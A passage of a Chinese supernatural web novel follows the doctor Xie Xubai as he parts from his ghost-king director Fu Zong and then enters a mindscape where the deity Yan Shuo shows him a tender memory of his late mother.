傅倧浑身一震,脸色煞白,忍了又忍才咬住后槽牙没吭声,将手臂快速缩回去。 半晌,质问的话从齿缝里挤出:“你当自己还是三岁小孩吗?看到什么都要手欠捏一把?” 谢叙白本来还在斟酌言辞。 但看见傅倧这副色厉内荏的样子,不知怎么的,嘴里自然而然地吐出一句回应的话:“三岁小孩都诚实,确实做不到像您这样死要面子活受罪。” 向来只有傅倧呛别人的份,他万万没想到谢叙白居然还会还嘴,眼睛溜圆瞪着他。 谢叙白淡然视之。 同时不留痕迹地摩挲了几下手指上的血液,温热粘稠,触感鲜明。 原本他想,不管傅倧和吕向财达成什么协议,又是什么关系,既然好处被自己拿到手,那么他就会承担相应的后果。 他会坐稳这个位置,同样也会拿回吕向财的心脏,为此不吝向任何人展现自己的锋芒。 既然傅倧没有在谈判桌上留下他的位置,那么他就自己在桌子上劈出一个位置,还要紧挨在傅倧的身边,时刻盯准对方可能露出的破绽。 直至傅倧当着众人的面说,他甚至比其他几位主任更快赶到事故现场。 那不是幕后主使会用的语气,除非对方在撒谎和伪装,试图撇清关系。 可又没法解释傅倧今天遇到的变故,和突然增加的伤势。 诸多怪异之处交织在一起,让谢叙白直觉事情不简单。 不过他愿意相信自己的直觉,相信傅倧暂时没有害他的心思。毕竟今天早上,也是对方提醒他,带教老师在给他上眼药。 谢叙白继续道:“不提手肘上的伤,您的脚踝肯定不能长时间站立。您一言不发,难道打算和我一路走回家?” 傅倧知道谢叙白在用激将法,关键是这话茬还没法接。 谢叙白猜得没错,他的腿受了伤,不止是跟腱脚筋,还有小腿腿骨。 但他同样看出谢叙白也是强弩之末,毕竟没有哪名医生能在治疗一天病人之后还能精神抖擞,皮笑肉不笑地道:“要不我先带你去商场,一起买根拐棍拄着走?” “多谢好意,应该不用。”谢叙白忽然往后招了招手。 身后传来“嘀嘀——”喇叭声,傅倧霎时回头。 白色车灯炫目刺眼,一辆高档小轿车正停在路口。 后座的狗子平安迫不及待地探出脑袋,冲着青年兴奋地吼:“汪呜!” 这么晚都没等到谢叙白回家,江凯乐也跟了过来,见状陡然松口气,喊道:“老师,您吃过晚饭没有?我给您打包带了点吃的!” 被吕向财叫来接人的司机老张为他不忿:“谢先生今天怎么样?您这进的什么医院啊,加班到这么晚才放人。” 毫无征兆的,傅倧变成了孤家寡人的那一方:“……” 谢叙白挨个应了他们的话,微笑发出邀请:“院长要是不介意,不如坐我们的车一起回去?” 第63章 谢:他果然是眼镜控…… 有那么一瞬间,傅倧淹没在阴影下的神情显出几分晦暗森冷,让人心里发毛。 谢叙白收敛笑容,以为傅倧在气他的“不敬”或老张的抱怨。 可那双暗沉的眸子略过他和老张,直勾勾地定格在后座的一人一狗身上。 尽管只是刹那间,还是被谢叙白捕捉到了那双瞳孔的不稳晃动。 “你……养了狗,还收养了那个小孩……他们叫什么名字?” “……”谢叙白身体紧绷,脑海中闪现出各种可能的猜测,状似平常地笑问,“院长怎么知道我收养了乐乐?” 异化后的世界,普通人会遵循着记忆里的规则日复一日地奔忙。 但因为不存在法律,也没有执法单位维持秩序,社会运转逻辑缺少至关重要的一环,导致实际情况经常会和现实有出入。 比如各方面收养条件放宽很多,但三十天的审查时间却没变。 而今只过去十几天,江凯乐的收养手续还没办下来,也没有上户口登记在册。 查都查不到的东西,为什么傅倧的语气如此肯定? 听到他的疑问,傅倧脸上古怪诡谲的神色随之一散,快得像是谢叙白的错觉。 只见人扯唇淡淡道:“那孩子至少十五六岁,你生得出来吗?” 谢叙白:“既然他叫我老师,或许是留宿在我家的学生?” “你还在当老师?”傅倧的目光陡然严肃起来,不认同地打量他,“入职前吕向财可没告诉我你身兼数职。” “不才以前做过家教。”谢叙白不受他的质问影响,心平气和地笑了笑,顺势拉回原话题,“说来有趣,以前也听别人说我和乐乐很有父子相,我还当他们开玩笑。” 傅倧听懂他话里的深意,受不得激:“你俩年龄最多差十来岁,父子相?跟我意有所指什么呢。” 他嗤笑:“放心,我和吕向财做交易都不关心你是谁,更没那个闲心在背后调查你。” 谢叙白:“怎么会,您言重了。” 傅倧没有忽略他语气措辞上的变化。 他忽然想起自己不知道在哪儿看过的一句话。 ——护短的人会在亲人遇到威胁时反射性竖起尖刺,露出獠牙,深厚的情感像喷嚏一样藏不住。 一人一狗一司机对青年的关切,还有青年下意识投过去的安抚眼神,都显得那样温情脉脉,炙热刺目。 耀眼的车灯凝成一束,横跨在谢叙白等人和傅倧之间,连青石地砖上的裂缝和干枯的草根都被照得清清楚楚。 仿佛就此划出一道亲疏分明的界线。 傅倧的脸色在灯光中愈发苍白,声线冷若冰霜。 “不管你信不信,那孩子看你的眼神,和以前某个小兔崽子看我的眼神一模一样。” “——但我没功夫照顾一个只会哭唧唧的拖油瓶。” 丢下话,他面无表情地错开炫亮的车灯,步伐加快,径直走向街道深处。 空气里不知不觉弥漫开一片湿冷的白雾,隐约能看见诸多模糊的鬼影在张牙舞爪,听到令人毛骨悚然的低吼。 中年男人冷声含怒:“滚!” 整条街道的雾气随之一震,像是无形的狂风呼啸而过,呼的一下荡散大片。 藏匿其中的无数鬼影受到冲击,发出凄厉的惨叫,电光火石间跑得一干二净。 谢叙白:“……” 他扫到对方略带蹒跚的步态,垂睫沉吟片刻,蓦地扬声询问。 “乐乐,安安,愿不愿意告诉院长伯伯你们叫什么名字?” 傅倧的脚步一顿。 诡王气场相冲且难以调和,相食相残皆为本性。 从看见傅倧出现在谢叙白的身边开始,平安和江凯乐的警觉神经就绷紧到了极致。 特别是当谢叙白两人贴近,话锋交戈言语对峙,江凯乐他们的呼吸就开始不稳,仿佛有一柄见血封喉的利剑高悬在头顶,浑身肌肉没有一处放松。 有椅背的遮挡,车前的谢叙白看不见江凯乐的双腿和狗子的四肢正在缓缓往上撑起,少年手背浮现红鳞,狗子前掌伸出尖爪。 但也是这个时候,他们突然听到谢叙白的问话。 一人一狗不免一怔,一触即发的气氛随之消弭。 他们交换视线,有些拿不定主意,下意识配合谢叙白的打圆场,从车子里走下来。 少年扬声说道:“您晚好,我叫江凯乐。您就是院长先生吗?原先听长辈们聊起过您的名号,果真闻名不如一见。” 平安也跟着低吼一声。 它可以模拟人类的语言,但它不是没有常识的小狗,知道那样做会吓到司机。 所幸高级诡怪的语言并不以单纯的声波传递,同为诡王,傅倧自然能听懂它说的话。 “江凯乐,平安。” 他以一种分不清情绪的口吻重复。 谢叙白不错眼关注着傅倧的动静。 或许是他多想,得到想要的答案之后,对方面上的冷意不仅没有消失半点,反而像压上一份更加压抑的重负。 傅倧忽地笑起来,挑眉看向江凯乐:“油嘴滑舌,一看就是你们老师教出来的孩子。” 他的口吻亲切慈祥,笑声的高低恰到好处,让人听不出半点虚情假意。 江凯乐陡然听到有人说自己和老师的关系亲密,戒心散去大半,忍不住勾起嘴角,不好意思地嘿嘿一笑。 “平安。”傅倧又看向狗子,目光上下一扫,似乎惊讶地赞叹道,“长得可真壮,一看就是能保护主人的好狗。” 平安淡淡地看着他。 三秒后佯装矜持失败,下巴越抬越高,毛茸茸的大尾巴疯狂甩成螺旋桨。 此时此刻,若是有医院的人在场,恐怕会当场惊掉下巴,只因这刻薄毒舌的中年老男人居然还会说人话。 谢叙白心中的疑虑也是愈演愈烈。 不是他的错觉,傅倧明摆着很了解江凯乐和平安……包括他。 难道他们真的和傅倧认识?在什么时候? 但如果真的相识,哪怕只有一面之缘,单凭傅倧孤傲凌然的气质,他就不可能忽略过去。 最关键的是时间对不上。 正这样想着,又见傅倧顺势转向他:“辛苦谢主任忙活一天。既然你的家人都来接你了……” 话音未落,中年男人先稳不住那副和颜悦色的假面,短促地换了口气,仿佛想要吐掉什么东西,又深深地咽了回去,一贯讥讽倨傲的声线变得有些沙哑。 “回家休息去吧。” 谢叙白心里蓦然有股说不出的滋味,正待开口时,瞄见空气中似水般流动的白雾,连忙道:“先等等,您的伤——” 像被对方的关心刺激到,浓郁的白雾倏然翻涌,如漩涡盘旋而上,将傅倧笔直的身体吞入其中。 气浪拂面,吹得谢叙白下意识闭眼,等他再睁开的时候,街上早已看不见中年男人的影子。 看一眼时间,快接近凌晨十二点,谢叙白收回视线。 很快他们回到家。 让大家等了这么久,谢叙白多少有点歉意。 告别司机老张,他给吕向财发消息说明情况。 如果他今后加班是常态,医院外那么多邪祟鬼魅,确实不适合再走路去地铁站。他预备给老张涨薪水,补偿人跟他一起加班。 随后谢叙白检查江凯乐的作业,惊喜地发现少年课后习题全对,相信要不了多久就能跟上学校进度,不吝笑容地将少年一个劲儿猛夸。 江凯乐将饭菜热好端到谢叙白的面前,眼也不眨地看着人吃下去,才哼哼唧唧地说道:“这是当然,也不看看我是谁教出来的。” 谢叙白忍俊不禁,揉揉他毛茸茸的脑袋:“过段时间手续应该就能办下来了,到时候给你改户口,你想不想换成许姓?” “……”江凯乐眼巴巴地瞅着他,“谢凯乐不好听吗?” 谢叙白扫向少年紧绷的腮帮子,倏然笑道:“不,很好听。” 他说着,语气里染上一丝怀念:“你太师母名叫谢语春,也是很好听的名字。她要是知道自己多了个孙子,不知道会有多高兴。” 这还是谢叙白第一次向他们提起原生家庭的事情,江凯乐连着猫猫狗狗们都情不自禁地竖起耳朵。 只可惜青年点到即止,没有继续说下去。 江凯乐察觉到谢叙白的兴致不高,一溜烟跑到人的身后,弯身搂他脖子,下巴搭在人肩膀上软糯糯地撒娇:“什么啊,老师这么年轻,都把自己说老了。” “这是重点吗?”谢叙白啼笑皆非,作业本轻轻盖在他脑袋上,“好了,快去睡,明早还要上学。” 师生两人有种不约而同的默契。 他知道许女士十几年的不管不问,终究还是在少年心头留下一道无法磨灭的疤痕,所以不会强迫江凯乐释然原谅。 就如同江凯乐察觉到他对旧事的伤感,即使担心,也没有继续追问。 随后谢叙白去洗了个热水澡,氤氲热气蒸腾在脸颊上,不由得发出一声满足的喟叹。 他用浴巾擦着头发走出来,狗子平安叼着玩具在浴室门口等待多时。 大白狗仰着脑袋盯他,挺胸蹲坐状似沉静,却耐不住尾巴早已暴露出小心思,迫不及待地在后面摇来摇去。 谢叙白又忍不住笑出声,接下玩具往空中一抛,当即狗子就嗷呜地咬了上去,落地后大尾巴晃得更欢快。 但它没有继续缠着青年玩游戏,叼着玩具放回箱子里,眼神一动,吹风机悬空漂浮,咔哒一下插好电。 “平安想要帮我吹头发?”谢叙白将毛巾拿下来,笑道,“那我今天可得好好享受一下。” 平安呜呜叫着,用脑袋蹭他的小腿,谢叙白顺势坐在沙发上,随后吹风机被打开,温热的风吹拂上他的发梢,带来一阵舒适的暖意。 猫猫狗狗们见状,也来蹭蹭谢叙白的身体,小脑袋顶着青年的腰,让人趴下。 谢叙白不明所以地照做,没过一会儿,几双柔软的小爪子就踩在他的后背、肩膀和小腿上,有节奏地按来按去。 猫猫狗狗们不懂按摩的手法,但它们知道,只要能让青年放松,就是最好的按摩法。 所以一边踩踩,一边时刻观察谢叙白的反应,“喵喵、汪呜”的轻声叫喊不停,温柔地哄着它们在意的人类放心入睡。 谢叙白霎时间心里软得一塌糊涂,放松身体,舒服地闭上了眼睛。 不过他没立即入睡,动用恢复少许的精神力,探入小触手的意识海。 天上紫雷滚滚,地面飞沙走石。飓风呼啸而过,怪物们交替嘶吼,光秃秃的岩石层从被啃食的缺口中裸露出来——依旧是那副荒芜苍凉的景象。 可在这片疮痍的大地上,却显目地多出一方由粉白色小花构成的小小天地。 被谢叙白委命为花田看守者的千面怪物,正百无聊赖地蹲守在旁,看见他出现,不掩兴奋地呲牙咧嘴。 许是这两天有谢叙白的精神力滋养,和其他怪物比,它的块头足足大上一圈。 谢叙白分出一缕精神力,照常托举在掌心,等待大块头压抑贪婪本性吃完后,步入粉白花田。 果不其然,他在花田的正中心看到了用尖尖勾着花枝的小触手,后者的吸盘规律地一张一缩,似乎还未从梦境中醒来。 谢叙白见小花涨势良好,小触手平安无事,便已放心。 正准备退出去,他忽然意识一黑,忍不住向前踉跄两步,反应极快地用手撑地。 手没来得及碰上泥土,微风拂过,托住他沉重的精神体。 谢叙白怔了怔,抬头看见被白雾笼罩的宴朔,弯眸笑道:“多谢。” 宴朔静静地凝视着他。 微风不由分说,压着他坐在花田的边缘。 底下的泥土异常松软,让谢叙白想起被猫猫狗狗们按摩的触感,原本想要挣扎的手臂,也顺势放了下来。 他仰着脑袋,无神地凝望天上咆哮不绝的雷云,忽地笑出声:“您难道不觉得吗?这世界可真美好。” 宴朔见他瞳孔涣散像是在说梦话,稍作感应。 果不其然,谢叙白的精神力被挥之一空。 直白点解释,就是累懵了。 宴朔侧头瞥向榨干青年最后一丝精神力的大块头,遗憾地发现,金色光芒在被对方吞入口中的时候就已经消化殆尽,就是掰开它的嘴,也挖不出一星半点。 宴朔抬了抬手。 一阵飓风袭来,将大块头抛飞出去。 后者正意犹未尽地回味着精神力的美妙滋味,谁想到猝不及防身子腾空,视野拔高到半空。 下一秒它嘭地砸在生硬的岩石层上,痛得七荤八素。 大块头龇牙咧嘴地跳起来,却看见其他千面怪物也被飓风一把卷起,扔向四面八方。 直至花田的方圆百米内,变成一块没有咆哮声的“净土”。 清空污秽,宴朔坐在谢叙白的旁边。 青年意志力极强,眼皮子像小鸡啄米般不停耷拉,却始终没有彻底合上。 狭长的眼睫毛扑扇如蝶翼,宴朔看着看着,眼珠子不知不觉就定住了。 他似有兴味地动了动眉梢,没多久,放松地支起下颚。 谢叙白瞄见宴朔坐在泥土凝结的石墩上,似乎意识到自己这样靠躺着不太好,手肘外撑想要起身,没曾想脱力滑了一下,脸上的金丝眼镜一歪,露出半边水润恍惚的眼眸。 他怔了怔,欲要抬手,结果手臂发软,根本抬不起来,茫然地转向宴朔。 宴朔忍了又忍,到底还是没能忍住,伸出双手帮他把眼镜扶好。 正要收回手的时候,谢叙白呆愣片刻,不知道又从哪儿找回了力气,反握住他的手腕,低声问他:“您能不能看见我的过去?” 有那么一瞬间,宴朔怀疑谢叙白在装晕。 他充满探究地盯看人一会儿,瞧不出异常,淡声否认道:“不能。” 他知道青年是个不易为外界所动的人,能引起对方牵肠挂肚的事情,必定不算小事,话题一开就会没完没了,别想让人安心睡觉。 谢叙白垂下眼睫,不知道是遗憾还是不甘,嗯唔一声,艰难地撑起上半身。 不小心用力过猛,眼镜又歪了些许。 宴朔反射性伸出手,谢叙白也刚好抬手,与他指尖相擦,快一步抵在镜框上。 眼镜摆正后,温雅冷清的眸光顺势透过镜片投射而来,像沉静的湖面漾起阵阵涟漪,扰得人心神不宁。 青年嗓音沙哑:“您那么厉害……真的不能?” “……”宴朔摩挲手指,不为所动地道,“不能。” 他说着移开眼睛,避免再和谢叙白的眼神接触。 余光不经意间扫向花田边缘,却发现那片空旷的地带,忽然争先恐后地冒出好几朵粉白小花。 小花迎风招展,精神十足地冲他抖擞花瓣。 宴朔:“……” 宛如平地炸开一声雷,他呼吸微促,一秒反应过来,心觉荒唐地看向谢叙白。 说实话,他从未把花开的原因和谢叙白联系在一起。 以至于发现这个事实时,猝然被雷得外焦里嫩。 在邪神心中,人类的外表和鸟兽虫鱼没什么两样,都是活着的肉块。 青年身上到底有什么地方会让他触动? 小腿?修长。 手臂?肌肉曲线流畅。 身体?似乎又累瘦了些。 脸—— 宴朔:“……” 不确定了。 看哪儿都像。 冷不防的,宴朔的视线停在谢叙白戴着眼镜的眼睛上。 他呼吸猛地一滞,欲要凝神紧盯,证实那荒谬的猜想。 谁知道谢叙白动了动,慢吞吞地将眼镜摘下来,似乎疲惫地按揉起眉心。 一下,两下,三下。 按揉完之后,谢叙白挑开细长的眼镜腿,白皙的指尖轻抚镜框。 宴朔甚至没察觉到,自己的目光在跟着青年的指尖游移。 就在他以为谢叙白准备戴上眼镜的时候,那根手指却突兀一停,把眼镜腿按回去。 宴朔眼睁睁地看着青年将眼镜别在衬衫左胸口袋里,一颗心悬起又直坠,眼神一暗,冷淡沉声。 “说吧,想知道什么?” 谢叙白心道男人果然是眼镜控,为安抚对方的情绪,拿出眼镜重新戴上,不再装晕装困,笑眼清明澄澈,温润似水。 只是提到想问的事情时,又不可避免地沉下语气:“您能否告诉我,我的过去究竟有没有谢语春这个人?” ——他怀疑自己的记忆有假。 第64章 美丽的谢女士 对宴朔来说,探知一个人类的往事不过动动念头的功夫。 他看向谢叙白状似若无其事的笑脸,下颌线微微绷紧,颈侧筋肉朝外突出,昭示主人内心的动荡不宁。 宴朔忽然开口问:“那是你的什么人?” 谢叙白一愣。 前几次见面相处,宴朔都是惜字如金不欲多谈的模样,几乎没有主动问起过什么事。 他知道这并非是性格上的冷心冷情,只因男人有一双仿佛对什么都了如指掌的眼睛,仿佛能够堪破世间所有规律和因果。 事实上也确实如此。 好几次,谢叙白不带前因后果地突然提起一件事,男人都能不假思索地接上话,声调毫无起伏地为他讲解其中细则。 因为久居高位,什么都知道,什么都清楚,所以不把任何意外放在眼里,不因任何外物所动,由此才显得沉稳淡泊。 小触手很看不惯祂这副目空一切的作态。 但对行事之前需要再三斟酌、深思熟虑,时不时就容易提心吊胆的谢叙白来说,那是他所向往的胸有成竹。 所以谢叙白很意外宴朔会有此一问。一则宴朔大可能知道答案,二则对方的行事风格贯来是雷厉风行,跟明知故问多此一举都搭不上边。 宴朔见谢叙白停顿时间超过两秒,就知道青年一定又在脑子里疯狂权衡利弊。 原本他不觉得有什么问题,但或许是摇摇晃晃的小花太有存在感,扰得他心下烦躁。 宴朔等到谢叙白三秒后还没有开口,面无表情地说道:“你在怕我什么?” 谢叙白微惊,一股寒意自脚底板升腾而上,背后争先恐后地渗出细密的冷汗。 他陡然意识到,将精神力消耗殆尽,对思维造成的影响比他想象中更大,竟然没有警醒思考时间过长。 但宴朔问出那一句话,并非是疑问或表示自己的不悦。他在下一秒抬起手,扣在谢叙白的手腕上,让人触碰底下的小花。 花瓣轻薄柔软,即使是能将力量控制入微的宴朔也不敢轻易触碰。 往日内视意识海的时候,他大多坐在花田边缘,支起下颚安静地凝视。少则一小时,多则一整个夜晚。 如今他视线下移,显出离尘出世的冰冷,却是有些强硬和激进,不由分说掰开谢叙白的手指,让对方捏住那脆弱的花枝。 谢叙白完全不明白宴朔想要做什么,突如其来的举动打破他的常态认知,不在他的意料之内,不在他的思考之中,叫他眉头猛跳,心脏打鼓,反射性疯狂挣扎。 当看见自己的手指在宴朔的拉扯下不受控用力,几乎要掐断小花,谢叙白更是惊得脱口而出:“小心!别!” 宴朔停下,没有弄伤花朵分毫,深邃的眸眼对望青年颤动的瞳孔,又抓住对方的另一只手,按在自己的胸口。 谢叙白想要缩手,岂料剧烈的震动感径直撞入掌心,带着仿佛能融化一起的炙热,烫得他忍不住蜷起手指。 在意识世界,一切情绪都会被放大,以另一种鲜明的形式呈现出来。 头一次在没有提前观察的情况下,谢叙白猝然感受到宴朔内心的不平静。 宴朔:“我比你更怕这些花受损。” 宴朔:“你可以在任何地方怕我,唯独在这里不用,因为你有随时损害这些花的机会和能力。” 说完他松开谢叙白的手,沉下眸子又看了青年一会儿,瞥向身侧。 风沙汇聚,在花田外的半空撕开一条偌大的黑色裂缝,裂缝边缘朝外扩张,逐渐变成一个较为规整的长方形,形如电影开始前缓缓拉开幕布。 谢叙白连忙将手缩回,另一只手贴上去的时候,仿佛还能感受到上面炙热的余温。 听到宴朔的话,他睫毛轻颤,不多时被裂缝中呈现的画面吸引。 谢叙白整个人忽然僵在原地。 像是隔着岁月长河,跨越时光缝隙,他在那久远泛黄的画面中,再次看见记忆中那道孱弱瘦削的身影。 尽管谢叙白从小到大一直觉得谢女士是位倾国倾城的大美人,但实际上当事人的长相并没有那么出众,平凡到站在人堆里直接隐形的那一种。 齐肩稀疏的长发,皮肤干枯起皮,一道道细密的褶皱缀在眼尾,默默记载着年华的流逝。 那双眼睛亦沉淀着饱经世事的沧桑,又在看向小床时倏然一弯,变得柔和明亮。 谢叙白目不转睛,宴朔也留神去看。 虽说女人长得并不惊艳,却能让人感受到一种沉静清幽的气质。 对宴朔来说,这种气质并不罕见,罕见的是它居然出自一个市井妇人身上,而非修身养性的书法大家或寺庙高僧。 在他以为女人会像谢叙白那般展露出温柔一面,含笑逗弄小床里的幼儿,或抱起孩子拍拍哄哄时,美好温馨的一幕蓦地被打破。 只因女人一眼看见幼儿屁股底下汩汩流出的黄色液体,笑容霎时间碎了,发出霸王龙般的咆哮。 “谢!叙!白!你又尿床!我刚给你换的裤子!” 宴朔:“……” 谢叙白:“……” 前者神色微妙,下意识去看青年的表情,果不其然在对方的脸上瞥见一抹羞赧的红晕。 再是心智强大的人,被旁人陡然撞见自己孩童时期的糗事,都会忍不住破功,谢叙白当然也不例外。 然而,不管他再怎么不好意思看接下来将要发生的一幕,那双眼睛仍旧死死地盯看着画面中的妇女,怀念、专注,不肯放过一丝细节。 谢语春状似生气,实际上也确实非常生气。 可她的发怒是雷声大雨点小,将心知惹事、欲要逃跑的小孩拽回来,两只手揉捏孩子嫩滑白皙的小脸蛋,直到揉红才解气地哼一声。 幼年的谢叙白捧着脸颊,两眼泪汪汪:“麻啊,麻,呜……” 谢女士手指点点他的额头,“装可怜哦?别以为我没看见你偷偷把喝空的饮料瓶藏在衣柜里。” “对不起,我,没喝完。”孩子抽噎,口齿不清地说,“给你,留了一半。” 谢女士还在严肃地盯着他,闻言噗呲一声笑起来:“可以,还算你有良心,原谅你了!走,我们去洗澡澡。” 她一手将抽泣的小孩抱起来,有些嫌弃地避开那黄色的尿渍,结果发现小孩双腿腾空无助地扑腾,又毫不犹豫地搂住了他的腿弯,任由尿液沾上她干净的袖口和衣领。 这是一间只有二十平米的小房子,墙面老旧裂开,墙皮脱落摇摇欲坠,没有地板,只有青灰色的石灰地面。 三平米的厕所还要充当浴室,没有门,用一张洗到透明的布帘隔开。 单薄的布帘将一大一小的身影映得影影绰绰,大人给小孩端来唯一的小板凳,自己半蹲着。 很快水声哗啦啦地响起,传来他们模糊的谈话。 女人问:“你的甜牛奶是从哪儿来的?” 小孩再一次说对不起:“李奶奶,我在门口等你,她说喝完后,你就回来了。它很甜,我舍不得喝完,想让妈妈也尝尝看。” 女人捏他的小脸蛋,笑得眉飞色舞:“唉哟,就知道我们家阿白是最乖的小宝贝,就是下次咱们别放衣柜,知道伐?里面有老鼠,咱家宝贝的心意全便宜它们了,嗯,还弄脏了我的两件上衣。” 小孩听到这话,明显有点始料未及,不多时,再次传来压抑的哭声:“对不起!” 女人亲亲小孩的额头,忍俊不禁地说道:“傻瓜白白,你哭什么呀?妈妈既然笑着说出来,就不是在责怪你,而且妈妈好高兴阿白能想着妈妈,心都要被咱们宝贝暖化了。” “可是,呜,妈妈的,衣服脏了,也没有喝到。” “这有什么大不了的,脏了的衣服咱们再洗,不小心犯下的错,下次就多注意。俗话说得好,你不跌倒的话又要怎么学会爬起来呢?” 女人笑着垂眸,和孩子额头贴贴:“至于宝贝给留的甜牛奶,谁说妈妈没有喝到?宝贝对妈妈的爱就是世上最甜的牛奶,妈妈在心里喝得特别痛快。” 小孩睫毛挂着泪水,懵懂纯真地看着她:“真的吗?” “真的。”女人笑道,“最喜欢我家阿白了。” 后一句,女人说得毫不犹豫,含笑的眼神带着说不出的柔和,轻挑散漫的腔调也随之沉稳下来,朦胧了时光剪影。 小孩这才勉强止住泪水,只是还在轻声抽泣。没一会儿女人使坏的手伸过去,挠他的咯吱窝,瞬间小孩破涕为笑。 “小孩子要多笑,小心长大后少白头,变成丑丑的小老头。” “哈,哈哈,妈,麻,我才不会……!” 谢叙白怔怔地看着裂缝中的这一幕,眼睛不知不觉红了个彻底,牙齿将下唇咬得泛白。 宴朔忽然听到他哑声开口:“你知道吗?我爸玩失踪后,有很多人明里暗里追求我妈,手捧鲜花和钻戒,打扮得光鲜亮眼,一看就是能带着我妈妈过上好日子的样子。” “但是我妈都拒绝了,她说咱们能靠自己的双手丰衣足食,就不需要再去依附他人。”谢叙白道,“还说她散漫成性,精力有限,心里只够装下我一个小孩。” “我小时候很没有安全感,害怕她丢掉我,于是经常不听话,偷偷翻墙跑去她工作的地方找她。她气得狠狠地打了我一顿,因为那附近有人贩子出没。” “第二天她去上班,我害怕地躲在衣柜里,抱着自己哭。结果不到两小时后听见敲门声,我跑过去开门,看见她去而复返,手里提着一箱甜牛奶。” “原来她竟然辞了职。再后来她四方询问,换成一个有地方托管小孩的工作。” “我时常在想,为什么半生穷困潦倒、孤苦伶仃,我却一点都不觉得苦,会那么喜欢笑。” 谢叙白红着眼睛,又情不自禁地扬起唇角:“后来发现,原来是她将所有的爱意倾注在我的身上,建成壁垒坚墙,让我的一生得以温柔展开。” 第65章 终于想起来问我的名字了吗…… 说完谢叙白的身体就开始不稳摇晃。 刚才看见过往画面出现的一瞬间,他没忍住一个箭步飞跨至裂缝前,神经紧绷到现在,才后知后觉地感受到那翻涌而上的乏力。 微风呼啸掠过,和宴朔的手同时拉住他的臂弯,让人不至于栽倒。 同时宴朔的视线再次定格。 青年的脑袋自然垂下,单手扣在另一只胳膊上,指尖因力气过大而发白。 那张惨白失色的脸半埋在模糊的阴影中,腮帮子绷紧到颤抖,牙齿狠狠咬住嘴唇。 几滴晶莹的泪水顺着眼眶流至鼻尖,无声留下一路蜿蜒的泪痕。 感受着对方突然爆发的情感,一股复杂陌生的感觉刹那间涌入宴朔的胸腔,无法辨析。 他识念一动,转瞬在脑子里追溯完青年今天的经历,微微怔住。 宴朔忽然反应过来,谢叙白怕是将内心的恐惧压抑了一路。 当今社会认为父母双全的家庭才算完整,所以单亲家庭长大的孩子大多容易自卑孤僻,他们会在和外界接触的时候陡然意识到自己的“残缺”。 谢叙白没有,他大方坚定,乐观善良,只因他有一个很棒的母亲,从来不会为自身的窘迫而自卑,也不会被眼前的富贵迷花眼。 那位母亲为谢叙白架起通往社会的桥梁,牵着他的手往前走,带他不卑不亢地和这个世界交朋友。教他学会自爱,又逐渐学会爱人、爱物。 于是穷山恶水不再崎岖险峻,一路走来全是鸟语花香。 所以谢叙白发自内心敬爱他的母亲,往后十几年风雨飘摇、无依无靠,被人看轻欺凌,也是凭借着谢语春昔日的教导,咬牙支撑下来。 那是他的精神支柱,亦是他心安之所。 但傅倧异常的言行举止,让谢叙白猝然意识到自己的记忆或许有假,温暖他整个童年时光的谢语春也可能不存在,是被制造出来的假象,心里怎能不恐慌崩溃? 再看他身边的那些亲朋好友。 狗子平安和猫狗阴魂虽说通了灵识,却始终无法真正理解人类的情感。 江凯乐刚从肮脏龌龊的江家脱身,情绪不稳定,还是个内心敏感的半大少年,易被外界的动荡影响。 吕向财深陷泥泞,自身难保,连盛天集团的大门都出不去,还要仰仗谢叙白来救他于水火之中。 小触手是纯粹的小孩子性情,认知里雕刻着身为邪神躯壳的恶。别说充当依靠,能克制住本能,不给青年添乱都算万幸。 一通细数下来,能让谢叙白放心述说脆弱的人选都没有。 他只能表面佯装若无其事,一路压抑让他几近窒息的慌乱。 直至亲眼看见记忆里的谢语春,心里那块巨石终于落了地,才彻底爆发,情难自已地释放那无法言喻的后怕。 精神力被榨干的负面影响持续发酵,谢叙白的心情久久不能平息。 他松开宴朔搀扶自己的手,忙不迭地擦着眼泪,嗓音沙哑地解释。 “不好意思。太久没看到妈妈,心情有点激动,让您看笑话了,给我一点时间,我马上就能调整好,一会儿就好。” 宴朔的舌尖没来由有些发苦。 他知道自己在共情谢叙白的仓惶,却对自己也会难受感到疑惑不解。 神的一生过于漫长,漫长到沧海亦能化桑田,世俗万物转瞬成空。他看过无数次潮起潮落,又看过千万遍日升月落,见证过王朝的兴衰更替,纵观山河版图的变迁,一切情感和欲望仿佛也随着那漫长的岁月消磨得几近为无。 眼前的谢叙白不比任何一个王朝盛大恢宏,无法和日月争辉。 他只是万千生灵中的一员,是极其渺小的一个个体,凭什么能牵动祂冰封多年的情感? 宴朔反复咀嚼内心的迷茫,百思不得其解。 但看着青年仿佛收不住的泪水,还有脚下不安摇曳的小花,他有一个认知是清晰的,那就是他必须做点什么,让谢叙白好受点,让他自己也好受点。 此时的谢叙白其实比宴朔想的要冷静淡定,也没那么脆弱。 他将袖子压在眼睛上,用力按压,半晌也没挡住泪水的涌动,才倏然醒悟过来意识体和现实身体的不同。 意识体会直观反应内心的情绪,喜怒哀乐无从掩藏。 换成现实中的身体,别说当着宴朔这个外人的面哭,就是眼眶红一下,都算谢叙白大脑短路。 所以他算是被迫泪失禁? 不管怎么样,谢叙白都不想继续留在别人的意识世界里掉眼泪,不仅失态,还很失礼。 还好宴朔看起来并不在意……嗯? 突然被窜高的泥土抵住腰背,谢叙白一惊之下想要逃开,但很快他发现那泥土并不是要伤害他,因为触感在变得柔软,宛如蓬松的棉花,将他包裹其中。 疲乏脱力的身体被泥土稳稳托住,恍惚中竟感到一阵轻松。 似乎有股微妙的感觉从心底泛起,谢叙白回头看向面无表情的宴朔:“您这是……?” 话音未落,正要闭合的时间裂缝忽然刹停,颤动着朝四方扩张,又变回了刚才的“荧幕”——有股无形的力量将它再次拉开。 谢叙白骤然回头,再次看见谢语春那张温柔含笑的脸。 见青年不再流眼泪,宴朔无意识地松上一口气。 但他觉得这样的放纵得有所节制,不然有一就有二。贪婪是万物生灵都有的劣根性,当知道自己拥有特权的时候就会得寸进尺,永远无法满足。 于是宴朔顺势坐在谢叙白的旁边,古井无波地道:“每打开一次时空之境都会消耗大量的神力,就看刚才那几眼,未免过于浪费。仅限今天,可以让你看个够。” 能再看到故人鲜活的模样,是谢叙白过去十多年梦寐以求的心愿。 但他理智仍在,比起沉溺于过去的美好,更注重当下。 比如医院规定住院医生每天早八点要去查房,科主任、主任医师和副主任也要,神来了都挡不住。 谢叙白遗憾地说:“多谢您的好意,但是我明天还要早起,所以……” 宴朔见青年嘴里说着不行,眼角余光却始终黏在谢语春的身上,抬起手指按揉太阳穴。 似乎挣扎了一会儿,他忽然道:“我可以控制这里的时间流速。” 